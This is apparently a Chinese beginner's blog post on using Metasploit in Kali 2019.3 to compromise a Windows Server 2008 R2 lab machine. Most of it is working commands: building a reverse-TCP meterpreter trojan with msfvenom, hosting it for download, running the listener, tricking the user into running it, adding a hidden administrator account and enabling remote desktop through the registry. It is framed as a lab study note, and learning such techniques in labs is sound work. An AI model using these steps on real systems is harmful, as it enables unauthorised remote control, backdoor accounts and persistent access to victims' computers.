【渗透测试小白系列】之简单使用kali2019.3中的Metasploit
(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)
一、kali及Metasploit
kali基于debin的数字取证系统,上面集成很多渗透测试工具,其前身是BT5 R3(BrackTrack),在信息搜集方面发挥很大作用。
Metasploit是一个综合利用工具,极大提高了攻击者的渗透效率;使用Ruby开发;使用非常方便,进入该工具的方式:在终端输入msfconsole;MSF依赖于Postgresql数据库,在使用MSF之前要开启该数据库
二、使用kali中的Metasploit生成木马,控制Windows系统
攻击者:kali 2019.3
靶机:Windows Server 2008 R2
1.首先要保证两个系统之间可以互相ping通
2.生产木马,在攻击者终端操作
1 msfvenom -p windows/meterpreter/reverse_tcp lhost=kali的ip lport=5555 -f exe >/root/Desktop/evilshell.exe
2 -p 参数后跟上payload(载体),攻击成功之后,要做什么事情
3 lhost 后跟监听的IP
4 lport 后跟监听的端口
5 -f 后跟要生成后门文件的类型
- 如果安装的是中文的kali,就把Desktop换成桌面
3.将木马文件evilshell.exe拷贝到/var/www/html,把html目录下的其余文件删除,并开启apache服务(这一部是为了提供一个可以把木马文件下载的平台)
1 cp evilshell.exe /var/www/html 拷贝木马文件
2 rm -f index.html 删除index.html
3 rm -f insex.nginx-debian.html 删除index.html
4.在靶机上打开浏览器,访问站点http://kali的ip,并下载木马文件,我这里下载到了桌面上,方便操作
5.开启postgresql服务,postgresql的端口号为5432,开启MSF(msfconsole的缩写)
1 /etc/init.d/postgresql status 查看postgresql服务的状态
2 /etc/init.d/postgresql start 开启postgresql服务
3 netstat -ntulp 查看端口
4 msfconsole 开启MSF
- metasploit v5.0.41-dev 版本
- exploits 开发利用,用来攻击某些服务、平台、系统等用到的工具
- payloads 攻击载荷载体,攻击成功之后要操作什么,通过payloads进行操作
6.加载exploits和payloads,查看该模块需要设置的参数
1 msf5>use exploit/multi/handler 选择exploits
2 msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 设置payload
3 show options 查看所需设置的参数
- 注:这里的路径要与上面生产木马的payload一致
7.根据上图的需求设置lhost和lport,这里的lhost和lport要和上面生产木马的命令中的lhost和lport一致
1 set lhost kali的IP 设置监听地址
2 set lport 5555 设置监听端口
3 run 或者exploit 运行攻击模块
8.在靶机中双击evilshell.exe(这一步是在靶机中诱导用户点击木马程序,也叫社会工程学攻击),这样在攻击者这里就可以得到靶机的shell(meterpreter)
1 shell 获取目标主机shell
2 ifconfig 测试是否能用
- windows环境下中文乱码的解决办法:chcp 437
9.在靶机里加入一个隐藏用户(隐藏用户后面加$),提升隐藏用户的权限,方便我们后续的操作测试
1 net user host$ /add 添加隐藏用户host$
2 net user 查看用户
3 net user host$ 密码 为host$用户设置密码
4 net localgroup administrators host$ /add 将host$用户加入到管理员组中,从而提升权限
5 net user host$ 查看host$用户信息
10.新开一个终端,使用远程桌面连接的靶机,进行操作
rdesktop 靶机的IP 使用远程桌面连接靶机
- 如上图所示,连接失败
解决方法:
方法1:打开上一个终端,开启2003终端服务,查看远程协助的端口是否开启
1 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 开启终端服务
2 netstat -ano|finder 3389 查看3389端口
方法2:打开控制面版-->系统-->远程设置,操作如图所示
- 重新连接靶机,连接成功,进入以下界面,是用隐藏用户登录靶机
11.打开靶机的dos命令窗口,若无法在开始中找到dos命令窗口,则按键盘上的开始键+R,在打开的运行中输入cmd,即开启dos命令窗口,添加一个新用户进行测试,添加成功证明渗透成功!
- 如图所示,拒绝访问
解决方法:在路径中C:\Windows\system32查找cmd.exe,右键cmd.exe,选择以管理员身份运行
原文地址:https://www.cnblogs.com/yankaohaitaiwei/p/11556921.html
- 讨厌算法的程序员 2 - 证明算法的正确性
- Day4上午解题报告
- [编程经验] Python正则表达式
- Day4下午解题报告
- linux下 Error running javac compiler
- 讨厌算法的程序员 1 - 插入排序
- Linux下使用ssh密钥实现无交互备份
- [编程经验] Python中的continue和break语句
- 洛谷 P3386 【模板】二分图匹配 Dinic版
- [编程经验] 拉勾网爬虫数据的后续处理
- Linux下使用rsync实现文件备份
- 【干货】基于TensorFlow卷积神经网络的短期股票预测
- [编程经验] 基于bs4的拉勾网AI相关工作爬虫实现
- [编程经验] 链家23个全国主要城市的现房数据分析
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Android TextView 去掉自适应默认的fontpadding的实现方法
- Linux文件/目录的权限及归属管理使用
- Android自定义环形LoadingView效果
- Android隐藏标题栏及解决启动闪过标题的实例详解
- Linux使用sed命令替换字符串教程
- Android实现获取短信验证码并自动填写功能
- Android 定时器实现图片的变换
- Android 软键盘状态并隐藏输入法的实例
- Linux磁盘管理之LVM的使用
- Android编程之菜单Menu的创建方法示例
- Ubuntu下Docker CE的安装
- 基于Android自定义控件实现雷达效果
- Android 中 onSaveInstanceState()使用方法详解
- Linux修改主机名的简单方法
- Android RecycleView使用(CheckBox全选、反选、单选)